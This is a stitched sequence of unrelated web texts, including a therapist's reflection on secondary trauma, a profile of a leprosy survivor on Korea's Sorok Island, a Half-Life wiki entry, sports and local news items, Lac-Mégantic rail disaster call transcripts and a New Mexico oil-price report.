have figured out a way to come to terms, at least partially, with the experience. They have figured out a way, in any case, to get up and out of their house and dressed and into my office carrying that experience. They’ve probably done a whole host of things- probably paid some bills, probably held down a job, probably experienced a relationship or friendship or parenthood. Maybe these things are stressed out- maybe these things are seriously affected- but on some level, unless I am meeting my clients in an acute crisis, inpatient situation, they are managing on some level to move forward with their lives. They might want to move forward better- they might be still experiencing active pain or limitations- but they are not dead. They are not totally paralyzed. They’ve figured out some coping mechanisms. But me, well, I’m a first time listener, each time. I can make some educated guesses, but I don’t know what their life has been like and in the process of learning, while it’s always a privilege and an honor and a gift (and while there are always strengths in there- always), it’s not always easy. And some of the things my clients have to tell me- some of them are pretty horrible. Some of them are dark and intense and make me want to go home, bury myself in my blankets and never get out. Some of them make me spend a whole weekend crying. And a big part of that- a big part of the painfulness of that- is that fundamentally, in the act of listening, I’m putting myself in the helpless position of witness. I’m just experiencing their trauma, but with the added guilt that comes from a) it not being my trauma and b) I’m terribly, terribly helpless about it. This is not something easy to come to terms with. Helplessness is not easy. The pain of another’s story is not easy. There is no part of being human that wants to just accept pain, and there is no part of the empathetic experience of connecting that wants to not try to fix another person’s pain. It’s a completely uncomfortable situation devoid of peace. And when there are imbalances- of race, of class, of any kind of power dynamic, it’s that much more terrible. If someone is experiencing pain as a result of something where I experience privilege, the desire to run away from it, or to hurry up and patch it up quickly, is that much more intense. Because not only am I in pain from the sheer injustice of it, I also now have to examine my own relationship to privilege, and it becomes that much harder to be a truly innocent bystander. (And, frankly, my desire to fix the problem becomes a little suspect- do I want to fix it to ease another’s suffering, or to ease my own discomfort?) This experience of secondary trauma is not limited to being a therapist. Basically, any human being who is empathetic and hears the story of another’s trauma can be affected by that experience. And repeated exposure to the stories of other’s trauma, when not managed, can have a devastating effect- according the National Child Traumatic Stress Network: “Secondary traumatic stress is the emotional duress that results when an individual hears about the firsthand trauma experiences of another. Its symptoms mimic those of post-traumatic stress disorder (PTSD). Accordingly, individuals affected by secondary stress may find themselves re-experiencing personal trauma or notice an increase in arousal and avoidance reactions related to the indirect trauma exposure. They may also experience changes in memory and perception; alterations in their sense of self-efficacy; a depletion of personal resources; and disruption in their perceptions of safety, trust, and independence.” http://www.nctsn.org/resources/topics/secondary-traumatic-stress So I can only imagine (literally, I can only imagine) how hard it really is when the men in my life- my husband, my brother, my male cousins, my dear friends, my colleagues and classmates- hear about the things that I experience, just in the day to day act of being female. And I think that I can get the act of telling these things on my part is a lot less painful than the act of listening on theirs. I mean, telling can be kind of a relief, sometimes! In telling, I get to share my experience and get support, I get to feel validated and less isolated, and I get to work through my feelings, brainstorm ways to handle situations in the future. Telling can transform the experience! (I am a professional listeners of tellers, and my whole goal is to get to the point where the telling becomes a transformative experience!) But listening-
to FinCEN's aggressive stance of requiring a money changer license.” Wosnack’s statements made us question the certain types of regulatory measures that will or could be applied by certain governments. Financial industry to use Blockchain technology The strong push for Blockchain technology usage within financial infrastructure is a strong indicator of confidence from financial institutions. David V. Duccini, executive director of the Strength in Numbers Foundation, a non-profit digital trust, gave the following statements regarding that point: “Blockchain technology is going to make a bigger mark in the securities industry, essentially eliminating the need for the Wall Streets of the world before it achieves full penetration in banking. When any company can essentially issue it’s own chain and attract capital directly you no longer have need for the rent-seeking services of the Goldman Sachs of the world, the reality is that the blockchain technology we have doesn’t quite scale yet to the transactions per second that private networks like Visa and Mastercard run — but those days are numbered, blockchain already dramatically changes the landscape of global remittances.” He further explained his thoughts: “If you really understood how international funds “transfer” operated today, you’d likely be surprised — it’s just a bunch of overlapping circles like a Venn diagram — no funds really “move” like we think of it in the bitcoin/crypto sense, there will likely be several “rails” as they are known in the industry — there will never be “one chain to rule them all.” These statements gave Coinidol.com a lot to think about on how, without “aggressive” regulations, the blockchain can,and potentially will, transform the world’s financial infrastructure and prepare for a next-generation of FinTech.This is part five of Mama Asia, a long-form journalism series in which Sally Sara meets 11 inspirational Asian women. I've Googled the hell out of leprosy. So let me save you the search. It's a treatable disease, it doesn't make people's limbs drop off and it's not highly infectious. My chance of contracting it, even here at a leper colony, is almost zero. Well, that's the rational stuff. I'm sitting on the floor with four people who have had leprosy for most of their lives. One is missing a nose, another is blind and another has no legs. A volunteer has just delivered some scoops of watermelon, but there's not enough cutlery for everyone. We have to share. The spoons are passed from hand to hand, mouth to mouth around the circle. I take my turn too. Some of the people in the room can see me, others can only hear me. I wonder if they are picking up my nervousness and my stupid embarrassment. Leprosy has stoked fear for thousands of years. It's a strange illness, in that it's not about pain but rather the lack of it. People's arms and legs don't suddenly fall off, like something from a Monty Python movie. People with leprosy lose sensation, lose the ability to feel pain in their limbs. That means they accidently injure themselves, without knowing. Infections, cuts, burns and fractures can go unnoticed. The loss of limbs is the sum of these incidents, often followed by surgery and amputations. It's not a spontaneous event. At first, Yong-Duk Kim thought she'd been given some wonderful powers that other children didn't have. She didn't feel pain. I know all that. But here I am, sitting and rolling the watermelon around and around in my mouth, stalling for time. I'm the odd one out - the only person in the room who doesn't have leprosy. This is the home of Yong-Duk Kim - she's a plump woman with short, thin hair and soft skin. Kim has lost her hands, legs and sight to leprosy. Her left hand has only buds where her fingers used to be. Her stumps are calloused from years of work and moving herself around. She has a wheelchair, but when she's home she spends much of her time on the floor. There's extra padding under the lino so she doesn't hurt her stumps. Her husband is tall, fit and athletic - he wears a Panama hat and sunglasses to hide his blind eyes. He sits on the floor leaning against the door-frame for a while, listening to the conversation until he gets bored and goes into the bedroom. I watch him search through the bedside table until he finds a bottle of aftershave. Kim can hear and smell what he's doing and scolds him in Korean. He finds his way to the door, takes his white cane and goes out. Kim's voice rules this house. It's a strange cross-over of senses and awareness. I can see and hear everything that is going on in the apartment, but I can't understand Korean. Kim can understand, but can't see. Later she tells me she can guess my height and build by the sound of my voice. She also decides if people are beautiful, not by their physical appearance, but their character, when she hears them talk. Appearance doesn't mean a lot here. "I get a lot from hearing. As soon as they start talking I think, 'oh they are a tall person' or they are not. I really listen for their personality. I can hear if they are calm and relaxed or the opposite. I could tell you were tall straight away. "I can tell if someone is fat because they have a gruff kind of rolling voice, just like me." Share Kim and her husband have lived most of their lives here: a leprosy colony on Sorok Island (Sorokdo), just off the coast of South Korea. In the early days, under Japanese rule, it was a place of isolation and cruelty. Korea was formally annexed by Japan in 1910, and until the end of World War II its officials ran many Korean institutions, including this leprosy colony. But the days are softer now. People who spent their youth enduring forced labour on Sorok are now free. They ride around the island on motorised scooters and live in apartments instead of dormitories. It's become home. Some residents have never been to the mainland. Others don't even know where their families are living now. Kim is one of them. She's originally from Pyongyang, a city now on the wrong side of the Korean border and out of reach for most. But that is where her story began in the 1930s. At first, Yong-Duk Kim wasn't ashamed of her illness. She thought she'd been given some wonderful powers that other children didn't have. She didn't feel pain. She could skip barefoot on the cobble-stones until her feet bled, but it never hurt. She thought maybe she was brave or special. But then the whispering started. Parents and children would push her away. "There was definitely finger pointing and a lot of words from the locals. I wanted to play with the other kids but of course they wouldn't let me. They would say I was diseased. "When I kept getting hurt and I wasn't feeling anything, they finally sat me down and started pricking me with needles all over. I didn't feel anything, so my aunt started to cry, because she realised what was happening." My grandmother would just cry and cry and say, 'What are we supposed to do with you? What are we supposed to do with you?'. Yong Duk-Kim was diagnosed with leprosy when she was 10 years old. Her older brother already had the disease, so the family knew the signs. In Pyongyang in the late 1930s, there was no cure and little tolerance for the disease. "As it progressed, my eyebrows fell out and I would get hurt on my hands and the skin would come off. I would stop feeling sensation in my arms and I would feel this numbness. "At a very young age, there was a train track in front of one of the houses we were staying in and I wanted to lay there and just die, but I was too afraid to do it. I wanted to jump in the river too, but I lacked the courage. To this day I have no idea, after my grandmother left, how she lived or what happened, or anything. That was the last I ever heard or saw of her. Yong-Duk Kim "My grandmother would just cry and cry and say, 'What are we supposed to do with you? What are we supposed to do with you?'." There was much fear and discrimination surrounding leprosy at the time. Those who had the disease were isolated from the rest of the community. Kim's grandmother had to register her brother at the police station. He was sent by train to a leprosy colony in the south of the country. Officials rented an entire carriage for him because they feared he was contagious. Kim's grandmother didn't want her to be sent away. But it meant hiding Kim, like a secret. Few landlords wanted a child with leprosy staying at their property, so Kim and her grandmother ended up in boarding houses that were home to the broken and unwanted. "In the houses we went to, the people were in a worse-off state than we were... If we went to a normal house, they wouldn't have put up for me. So my grandmother deliberately looked for these kinds of houses, to find rooms to rent." But as Kim's illness worsened, the rooms became harder and harder to find. Her grandmother decided there was no choice but to take her to the leprosy colony where Kim's brother was living. It was a journey of more than 500 kilometres from Pyongyang in the north to Sorok Island off the south coast. Kim's grandmother tried her best to cover up the scars and sores from Kim's leprosy. Sorok Island Sorok Island (Sorokdo) is named for its appearance, meaning'small deer'. Sorok has housed a leprosy colony since 1916, first established during the Japanese occupation. At its peak, there were about 6,000 patients. Leprosy patients were forcibly segregated and inhumane treatment was common. During Japanese rule, a patient killed the facility's director, Masasue Suo. Today, Sorok houses a modern hospital that remains home for a number of leprosy patients. It also has a museum that tells the story of the island's stark history. Since 2009, Sorok has been connected to the mainland via bridge. "I had long-sleeved cloths and a scarf. But even then you could still see my face and my missing eyebrows, which was dangerous - they would know something was wrong. My grandmother got a flying cap that was very popular with boys at that time. It came low, so it covered up my eyebrows and that way my disease was pretty much hidden." It was December and winter was biting hard across Korea. They were forced off trains and buses and denied accommodation due to fears Kim was contagious. One inn owner threw them out into the cold, so they asked a stranger for help. "A young man led us to another inn and asked if they had a room. We were able to get in the room without the owner looking at me. The first thing my grandmother did was push me right into bed and pushed the covers over my head. She kept me hidden. When the inn-keeper came and asked if we wanted to eat, my grandmother said I had a touch of the flu and couldn't eat. "My grandmother accepted the food and as soon as he left she got me up and said, eat quickly. I ate and then we went to bed. "We were sleeping, it was late in the night. Suddenly the inn-keeper opened the door and told us, 'get out right now'. The other inn-keeper had come by and told her about us." They eventually walked to Nokdong and tried to get a ticket on the ferry to Sorok Island, but they were repeatedly turned away. They spent another night sleeping in the open. "We walked until the end of town, we leaned against a wall and we wrapped ourselves up in my grandmother's skirts and just huddled there for the night. I was very hungry." The leprosy patients on Sorok Island were under the command of Japanese administrators and guards. Kim's grandmother had learned to speak Japanese while working as a domestic servant in Pyongyang. But to Kim it was all foreign. "We arrived at the main office. The main administrator and Japanese officials were there with my grandmother and my brother. The Japanese people were saying things I couldn't understand and my grandmother was bowing and saying, 'thank you, thank you'. She took out her purse and gave me some money, but they said I wouldn't need it here, everything is taken care of. "Suddenly we had to separate. My grandmother was crying. She was wiping her tears with the edge of her skirt and looking back. "To this day I have no idea, after my grandmother left, how she lived or what happened, or anything. That was the last I ever heard or saw of her." Share Kim was 11 years old when she arrived on Sorok Island, she wouldn't leave again for 60 years. Sorok was her home, whether she liked it or not, and she lived there with more than 6,000 leprosy patients. She was one of the youngest patients sleeping in the female dormitory. The women looked after her, making sure she was fed and bathed. But the daily routine imposed by the Japanese guards was strict and unrelenting. "Life here was very difficult. Of course at that time Japan was starting the war so things changed rapidly. There wasn't enough food, so we were hungry all the time. We worked a lot and we weren't paid for a single thing that we did. "We had to make bricks, there was a brick factory. We had to work with our hands, it was very hard. After the bricks were made and they were fired, a big boat would come and the bricks would be put on that boat. Another way of putting it is, the boss of the hospital was really a businessman. We didn't receive a cent of those profits. Even if I wanted to go, there was nothing there waiting for me. Yong-Duk Kim "The women were put to work making rice sacks. When we were making those rice sacks, if you were slow, the Japanese would come with their knives and stick their knives. They would just slash the bag and say you didn't do it correctly. They would make the bag unusable. They were horrible people. We had to start again. "We would usually wake up at four in the morning for adults and five in the morning for children. School started at one. From third grade onwards, you were expected, right up until you went to school, to move bricks. It could be 700 or 1,000 bricks, whatever they told you was the quota for the day. By the time you unloaded those things, of course you were late for school every day. "Because I was a kid, the most bricks I could carry was three or four bricks at a time. I would carry them on my head. Really strong women would carry 15 bricks at a time. My body was whole at that time, so I was able to do that." The island is only a short ferry ride from the mainland but it was far enough. Many of the patients were disfigured by leprosy, making it hard for them to blend in if they escaped. "Women didn't even try to escape, they didn't have the strength or the energy. Sometimes men would try to escape. They would normally try to get across by swimming. But often they would drown because they didn't know how to swim. "Once they got to shore, of course all their clothes were wet, so they would take clothes from whatever clothesline that happened to be around, whether it was men's clothes or women's clothes. Of course they looked ridiculous, especially if they were wearing women's clothes. "Even if I wanted to go, there was nothing there waiting for me. My hometown was in the north and that was blocked off pretty quickly." Most of the patients were resigned to their life on Sorok Island. It was one of the biggest leprosy colonies in the world. The administrator was a brutally efficient Japanese doctor, Masasue Suo. He built a statue of himself and each morning the patients were rounded up for a parade. They were forced to bow to Dr Suo and his statue and sing songs in Japanese. Share "If I look at it from a Christian perspective, I have forgiven them a little. They just did things that were absolutely incredible. People were afraid to go to the hospital. People would come back and scrub their skin with salt water wherever some ointment was applied, to wash out whatever was applied. The Japanese would look at us, the child patients, they would hold up a pine branch and say, 'you are not even worth this branch to us'." But in 1942 one of the patients, a young man called Chunsun Lee, could no longer forgive. Kim was only a few metres behind him in the parade, she noticed him walking in a stilted way. He was clasping something under his clothes. When it was Chunsun Lee's turn to bow, he pulled out a knife and fatally stabbed Dr Suo in the neck. "The patients loved it, we were really happy. But we weren't able to show that, so we just stood there a little afraid because we didn't know what was going to happen next. They caught him right away and tied him up and took him away. He was a legend and a hero amongst the patients, we still remember him." Lee was eventually executed for the killing. But time was running out for the Japanese administrators of the island. When Japan lost World War II and Korea was liberated, the Japanese fled Sorok. "It was so joyful at that time, it was so exciting. There were people crying and people dancing everywhere. Everyone thought, 'finally we won't be hungry any more. We won't be put to work all the time any more.' It was thrilling for everyone. "The Japanese disappeared literally overnight. They lived separately from us, divided by a fence. But one morning they were just gone. "One thing the patients did immediately was to destroy the brick factory. We pounded that to pieces and took the whole thing down. We didn't have to make the rice sacks either. "We were so hungry during the Japanese occupation, so when the Koreans came and took over the running of this place one of the first things was to give each household a plot of land and on that you were able to plant things like sweet potatoes and radishes. It was better than before." But freedom was limited. Most of the patients stayed on the island; many didn't have anywhere to go. Some stayed because of the endless hope that a cure would be found for leprosy. The patients volunteered for trials of various drugs but there were no miracles. Marriage was allowed on the island under one condition: the bride and groom had to undergo sterilisation surgery. When Kim was in her mid-20s the older women in the dormitory encouraged her to marry, so she wouldn't be alone later in life. Her brother had died several years earlier. He had been all the family she had. There was something of a hierarchy among the patients on the island. While one of Kim's legs had already been amputated, along with several fingers, she still had her sight. When she was urged to consider marrying Jae-ho Moon, she was dismissive at first because he was blind. But then she decided she could help him. "I thought I would be able to be eyes for somebody else. My faith must have been very strong in those days. These days if I think about it, 'why would I want to marry someone who was blind when I could marry someone who was perfectly healthy?', those were the thoughts I had. "There were other younger men around, who heard when I was marrying someone who was blind they fell over backwards. They said,'she is getting married to a blind man' but they were not able to get married themselves. There were not enough eligible women around." Share Marriage was allowed on the island under one condition: the bride and groom had to undergo sterilisation surgery. It was a practice that continued even when the island was under Korean control. "Up until 40 years ago they still performed vasectomies, whether you wanted it or not. So even if you ran away they would get you. "I was 26. It didn't bother us when we were young, because of our age, but after we were 50 that was when we really missed the fact that we didn't have children." The old operating theatre has been restored and is part of the museum on the island. The smooth grey concrete floors, the shiny operating table and old wooden stretchers have been preserved so the history of this place isn't lost. Tourists quietly walk through the corridors of the old hospital, reading plaques about what happened here. I am thankful for what I've got, I'm thankful for what I have been given. I always tell God, thank you. Yong-Duk Kim These days Sorok Island has a new hospital, with modern facilities and the best of care. Kim has had dozens of operations as her limbs and eyes have worn away. All the patients have a tally of the limbs they lost and when they lost them. "One leg I lost when I was 24 years old. The other leg I lost in 1986. The hands, I lost one finger first, but each time you still had to keep working and you keep losing a little bit," Kim says. "Each time, in order to save the rest of it, they would have to cut one part off and then another part." Koreans have become better educated about leprosy, and opening up parts of the island has helped reduce the fear and stigma surrounding leprosy. Young volunteers from the mainland spend their college holidays at Sorok, caring for the patients. Just the simple act of touch is treasured by many here. Yong-Duk Kim says the young people bring joy and dignity to the old people who live here. "In the past people couldn't and wouldn't approach us. Now all these young people come and they visit and they talk and they give me massages and they hold my hand and touching. They call sometimes and just check in with me and talk with me. Some send presents. I feel very grateful and thankful when they do these things." Leprosy is now curable and doesn't lead to disability if it's treated early with medication. The World Health Organisation has provided multi-drug therapy, or MDT, free of charge since 1995. Kim and the thousands of other patients on Sorok Island now receive top-level medical care for their condition. But many lost limbs before treatment was available. For Kim, the days of isolation and fear are fading. Years of neglect have been followed by peace and dignity. Photo Gallery: Sally Sara's photos capture the stark isolation of the Sorok Island leper colony. Many of the residents spend time at the church on the island, praying and reflecting. The church has a lipstick-coloured shiny concrete floor. Women sit on one side, men on the other. Everyone is on the floor, many sway as they sing hymns in Korean. "I think that people are here to take care of each other. That is part of a human's responsibility. When I help people I do it happily, I do it joyfully. "I look around and I can always see there are people worse off than me. I feel like I have been put here because there are things I can do and ways I can help. When I pray to God, I ask him to look well upon me. But, I feel thankful for what I have. "There are people, you go to the hospital right now, they are not able to do anything, they can't go to the bathroom by themselves. Here I am, at least I've got my knees, I can get around on my knees. "Even when my friends who are blind come over, they may have their body all there, they can walk around, but some of them just can't eat at all or they have diabetes or they have heart disease. I am thankful for what I've got, I'm thankful for what I have been given. I always tell God, thank you. "When I think about those people, maybe they have their own reasons for complaining. As for myself, you know everything was so difficult during the Japanese occupation, so now the present feels like heaven on Earth. "Sixty odd years here. It's my home now." Next Monday: Sally Sara meets Tomiko Matsumoto, survivor of the Hiroshima bombing. Sally Sara is an award-winning ABC journalist who has reported from more than 30 countries, including Afghanistan, Iraq, Sierra Leone and Zimbabwe. Subscribe for Mama Asia updates This story is the fifth of 11 articles in Sally Sara's Mama Asia series. Earlier instalments: Latifa Nabizada, Afghanistan's first woman military helicopter pilot. , Afghanistan's first woman military helicopter pilot. Pioneering Thai monk Bhikkhuni Dhammananda. . Amrit Ben Solanki, a matriarch in one of India's largest slums. , a matriarch in one of India's largest slums. Liu Ngan Fung, a gutsy domestic violence campaigner who herself survived years of abuse. To receive an alert when the next Mama Asia article is published: CreditsFrom Combine OverWiki, the original Half-Life wiki and Portal wiki This article is non-canon. The subject matter of this article does not take place in the "real" Half-Life and Portal universe and is considered non-canon. Penguin General information Faction Earth Type Explosive weapon Individual information Weapon(s) Peck Explode Game information Entity monster_penguin (NPC) weapon_penguin (weapon) The Penguin is an explosive weapon featured in the Capture The Flag game mode of Half-Life: Opposing Force. Overview [ edit ] Penguins were introduced as a gimmick exclusive to the Capture The Flag mode of Opposing Force to make it more enjoyable.[1] As a weapon, the device is comprised of a penguin with a grenade secured to its back by a strap tied around its neck. Players utilize Penguins by throwing them at foes, allowing the birds to chase after and attack enemies. Their behavior is identical to a Snark, even using the same creature sounds once active. When released by the player, Penguins will first idly waddle around if there aren't any hostiles present in the area. Once they detect a target, whether it be an enemy player or their own owner, they will begin aggressively pursuing their prey, wildly jumping into the air and pecking at their victim. Penguins explode when destroyed or fifteen seconds after being released. If they have not done any damage during their lifespan, the explosion has the radius and damage of a normal grenade. Each time a Penguin pecks a victim, this explosion becomes progressively larger and more powerful, even dwarfing that of a Satchel Charge. Originally limitless, this increasing damage effect was eventually capped in an update.[2] Penguins can be acquired in groups of three by collecting Snowmen items. A maximum of nine can be held at any time, and they cannot be deployed as quickly as Snarks. They're only present in the maps The Wonderland, HairBall, and the Arctic zone of the command point version of Paradox Park. Gallery [ edit ] List of appearances [ edit ]At 30, Evan Low is the youngest, openly gay Asian-American mayor in the United States. His town of Campbell, California was recently approached to host a blood drive for the American Red Cross, but as a gay man, Low himself is unable to donate. According to the US Food and Drug Administration, “men who have had sex with other men (MSM), at any time since 1977 (the beginning of the AIDS epidemic in the United States) are currently deferred as blood donors. This is because MSM are, as a group, at increased risk for HIV, hepatitis B and certain other infections that can be transmitted by transfusion.” So if you’re a gay man, and unless you’re completely celibate, you’re unable to donate blood, much like Evan Low. He took his dilemma public by posting the letter from the Red Cross and posing the following question on his Facebook page: As mayor of my city, I can host a blood drive, but I cannot donate myself. I am conflicted. I want to support the Red Cross, but because of the FDA (U.S. Food and Drug Administration) discriminatory ban, gay men are prohibited from donating blood. Even though the blood is tested. I want to support the community with blood donations, but I will not tolerate organizations discriminating any group of people. What would you do? The blood drive is part of the Red Cross’ City Blood Challenge 2013, a competition between Northern California cities to “combat the threat of summer blood shortages and to increase awareness about the constant need for blood.” One could argue that if there’s this vampiric need for blood, opening up a whole other artery of potential donors would be a good thing. Automatically disqualifying any man who’s ever had sex with another man — and when you think about it like that, who are we fooling? — is not only discriminatory, despite the FDA’s arguments, but also extremely stigmatizing. A scarlet GAY, if you will. But as a mayor, Low has an obligation to ensure the public good…so what should he do? UPDATE: Mayor Evan Low provided us with the following quote: “Many public institutions have nondiscrimination policies in place and I urge the FDA to revisit its discriminatory policy. The LGBT community has a tradition of putting the community at large ahead of its own interests– by serving in the armed forces, serving in the Boy Scouts while hiding their identity, and by wishing to donate blood. As an elected official, my commitment and duty is to the greater good of all people.” h/t: 312The statement Craig Sager released on Friday was characteristically poetic and flashy. He announced that he'd been diagnosed with acute myeloid leukemia with typical panache. Three horrible, terrifying words wrapped in silk and sequins, the Sager way. His announcement was too long for a standard tweet, but pithy and succinct nonetheless. Statement on behalf of Turner Sports Reporter Craig Sager: "My favorite time of year – city to city, round (cont) http://t.co/CYLthFfsu9 — TurnerSportsPR (@TurnerSportsPR) April 18, 2014 Craig Sager announced to the world that he may never again prowl the sidelines of a basketball game, but he did it with such ease that it would've been easy to miss the pain behind his words. I don't know the man but I imagine that's exactly the way he wants it. The affable professional wants us to feel comfortable with his struggle. His statement was also notable for the one person he included. He said it was too bad because he had some probing questions for Pop. Currently there are 16 coaches leading their team in the NBA Playoffs, but Sager singled out Gregg Popovich in his press release. Sure, it's a nod to the sideshow that has become the much anticipated Popovich in-game interview, where he famously says nothing at all. And it's a nod to the back and forth that has become a fixture between the two men through the years. But it's also an acknowledgement that everything you've seen take place between these two men has been an act; something out of sync with the true character of the men taking turns speaking into the microphone between quarters. Because they have a job to do. Sager is assigned to report on the game and entertain while Popovich is there to coach his team. It has become America's favorite past time to watch the train wreck that is the interview between the two. But it's not real. Those of us that get an up-close chance to observe Coach Popovich regularly would say that his actions during Game 1 of the Western Conference Playoffs on Sunday against the Dallas Mavericks were of no surprise, but to the rest of the country it must have been quite a shock. Here was the man, famous for his snarl and six second press conferences, smiling at Craig Sager Jr. before looking into the camera to deliver a heartfelt and emotional message to the young man's father. The cold blooded, ruthless leader of this calculating, metallic, lifeless machine that is the Spurs gave you a peak on Sunday into his secret for sustained success. Put simply, the key is to be your true self when it matters, not when it's just for show. The game was tied and the Spurs were fighting for their life in Game 1 against the Mavericks, but Gregg Popovich wanted to do this interview. TNT originally scheduled the conversation between Pop and Craig Sager Jr. before the game, but Pop insisted they do it at as normal, after the end of the 3rd quarter. In the heat of battle Pop wanted to speak to young Craig and deliver his seemingly nervous, almost awkward, yet terrifically perfect message to Craig Sager Jr. and his father watching at home. His halting delivery spoke volumes and shed light on the side of Gregg Popovich that most don't often see. A few months ago the 76ers were in town and Popovich was asked how Brett Brown would approach his role in Philly. He said, "he's gonna work 'em to death and then he's gonna love 'em to death." That quote always stuck with me because that's exactly how Popovich operates. The only catch is that it's a lot easier to see the work than it is to glimpse hard evidence of the love. But believe me, it's there. Just prior to the 2013 Playoffs, Pop famously cut Stephen Jackson. The fallout wasn't pretty, but it passed quickly. Why? Because Popovich and Jackson were neighbors, and they still are. When Avery Johnson comes to town, he clears his calendar for Pop and the Spurs. The family meets for dinner after the game, and Johnson spends the evening at casa Popovich. Sean Elliott is a famous former player and now does color commentary for the Spurs on Fox. He always refers to the Spurs as we and us, often drawing the ire of those who love to point out examples of homerism. But they miss the underlying theme: Elliott's words express how he still feels a part of the family. A family defined and perpetuated by the organization that's an expression of Popovich himself. Pop's treatment of Craig Sager is a shining example of his philosophy and the regard he has for a select group of professionals he interacts with in his job of coaching an NBA team: He'll work you to death but he's gonna love you to death. And Craig Sager is undoubtedly part of the Popovich family. While watching Craig Sager Jr. on Sunday I saw the greatness of his father. The young man was poised and professional. It's a testament to his parents that he could step into that situation and perform so flawlessly. Interviewing Gregg Popovich on National TV isn't on the level of performing brain surgery for the first time, but he displayed a steady hand nonetheless. And as an aspiring reporter, I draw strength and wisdom from men like Craig Sager. His suits are famously spectacular, but I've watched from up close as he stalks the sidelines during NBA and NCAA basketball games, searching for the story. That's what impresses me most about him. He always gets the story. So here's to you Craig Sager. I'm praying that you recover quickly and take your place courtside again soon.One rule of thumb for committing a crime is to always have a getaway vehicle. Courtesy of WCSO A little-known addendum to that rule is to make sure that vehicle is in a place where it won’t get stuck in snow during the getaway. A man who broke into an Ann Arbor Township home Monday apparently forgot that all-important addendum when his vehicle got stuck in the home’s driveway, according to deputies. The Washtenaw County Sheriff’s Office responded at 2:56 p.m. Monday to the in Ann Arbor Township for a report of a home invasion. An alarm had gone off at the residence, alerting both deputies and the homeowner. When deputies arrived on scene, they found the man stuck in the driveway in his getaway vehicle, according to a Nixle alert. He was arrested and taken to the Washtenaw County Jail. The townships east of Ann Arbor have seen in the last week, in . Deputies said the man may be linked to other home invasions in the area and has a history of breaking into homes. The man’s name has not yet been released and it’s unknown if the Washtenaw County Prosecutor’s Office has filed any charges against him. Kyle Feldscher covers cops and courts for The Ann Arbor News. He can be reached at kylefeldscher@mlive.com or you can follow him on Twitter. Find all Washtenaw County crime stories here.Andrew McDougall talks about the WASZP The WASZP © McDougall Creations The WASZP © McDougall Creations by Jonny Fullerton 15 Jul 2015 15:26 BST Jonny Fullerton interviewed Andrew 'A-Mac' McDougall on behalf of YachtsandYachting.com at Lake Garda during The Foiling Week where the WASZP foiling dinghy was launched. Jonny Fullerton: Give me a bit of background on how you came up with the idea for the WASZP. Andrew McDougall: I've been sailing a Moth for a very long time and foiling Moths for 10 years now. There's always so much interest on the beach; you get people coming up asking what it is and how does it work. Particularly you get kids coming up and they just want one and there's always a reason why they can't have it, why dad or mum won't buy it for them, and that's really what prompted the idea. Trying to get rid of all the arguments that people use not to get a Moth. It's been ticking away in my brain since 2007. It wasn't about making the Moth one-design, it was about getting rid of all the problems, and that's what I've attempted to do. JF: What type of sailor is the WASZP aimed at and who are you expecting to be buying and sailing the boat? A-Mac: It's aimed at a much broader range of sailor than the Moth. The Moth is always going to have the very high-end technical guys who want to play with things or have the latest cutting-edge design. The Moth is just a beautiful boat, it's so efficient and lovely to sail, but not everyone, in fact very few people, are prepared to put that level of effort and amount of money into staying at the top. The WASZP is aimed at those who like the idea of having a foiling single-hander but don't want to deal with all the other stuff that's involved with a Moth - people who want to go down on a Wednesday night and just go racing. It's trying to be the Laser or the one-design windsurfer of the foiling world.
as a sync-sound general prodution camera yet most of them only found used shooting highspeed f/x plates. I've been told they have to be serviced fairly regularly because they are used so much in a way other than what they were designed for. Or at least they were when people still shot a lot of f/x plates in 65mm.CBC Radio-Canada has obtained recorded telephone conversations between train engineer Tom Harding and a dispatcher from the night of the deadly rail disaster in Lac-Mégantic, Que., last year that killed 47 people. The conversations show that Harding was initially unaware that it was his train that was responsible for the town being on fire. The seven phone calls took place between July 5 at 11:04 p.m. ET and July 6 at 3:53 a.m. ET — the night the train derailed and exploded in the town's downtown core. They also contain one conversation Harding had with a rail traffic controller in the U.S. This audio file, which was released to CBC and other media by Harding's lawyer, Tom Walsh, contains all the calls Harding made during that time. The quotes below are from an edited version of a transcript provided to CBC by The Globe and Mail. In the recordings, Harding calls a dispatcher — to whom he refers as RJ — at the MM&A offices in Farnham, Que. At 1:47 a.m., Harding, who had already signed off for the night, calls the office to let the dispatcher know there is an emergency in Lac-Mégantic. "Everything is on fire, from the church all the way down to the Metro, from the river all the way to the railway tracks...Flames, RJ, are 200 feet high. It's incredible, you can't believe it here," Harding said during the phone call he placed from a gas station after his hotel was evacuated. It was only about two hours later, at 3:29 a.m., that Harding found out his train had rolled down a hill, derailed and exploded in the town's downtown core. Harding called the dispatcher for more information about the blast, when RJ told him the news. RJ: It's uh, it's your train that rolled down. TH: No! RJ: Yes, sir. TH: No, RJ. RJ: Yes, sir. TH: Holy f--k. F--k! Harding insisted he secured the train before he retired for the night. TH: It was secure, RJ, when I left. RJ: Yeah. TH: She was f**** secure. F! RJ: That's what I, that's what I got as a news. TH: And when did you get the news? Just a few minutes ago? RJ: At 2:25, to be correct. TH: Oh, Jesus Christ….How in the f did that thing f**** roll down, RJ? RJ: I don't know. How many brakes did you put on? TH: The units, the V.B., and the first car, seven brakes. Harding has since been charged with 47 counts of criminal negligence in connection with the incident. Two other MM&A employees — manager of train operations Jean Demaitre, and Richard Labrie, the railway's traffic controller — and the company also face the same charges..................................................................................................................................................................................... ALBUQUERQUE, N.M. — The huge drop in crude oil prices since September is a double-edged sword for New Mexico that provides welcome relief at the pumps for consumers but puts the state’s seven-year production boom in jeopardy. And any slowdown in New Mexico output will affect everybody, since nearly a third of state revenue comes from the state’s oil and gas production. For now, industry experts aren’t projecting a new bust cycle in the Permian Basin in Southeast New Mexico, but rather a marked reduction in growth. But if prices remain depressed, or decline further, it could begin to reverse one of the longest-running booms in the New Mexico Oil Patch since the 1970s. “We’ve crossed the break-even point on prices for most New Mexico producers,” said Daniel Fine, associate director at the New Mexico Institute for Mining and Technology’s Center for Energy Policy. “Much of New Mexico’s small-cap and independent producers are at risk.” ADVERTISEMENTSkip Fine, who was recently appointed project leader for state energy policy, said the tipping point between profit and loss for newly drilled wells is $70 per barrel. Benchmark West Texas Intermediate is now trading at about $77 per barrel, down from about $100 this summer. But New Mexico producers receive up to $12 per barrel less for the Midland Sweet Sour that comes from the Oil Patch, largely because of higher costs from bottlenecks in transporting the crude to refineries. “For small, undercapitalized – or low-cap – oil and gas producers in Southeast New Mexico, the price has crossed the tipping point,” Fine said. Large companies are also directly impacted by price declines, but they have fewer cash-flow problems, giving them more ability to maneuver production plans to keep output up, such as concentrating on the most-promising wells and taking fewer risks on marginal 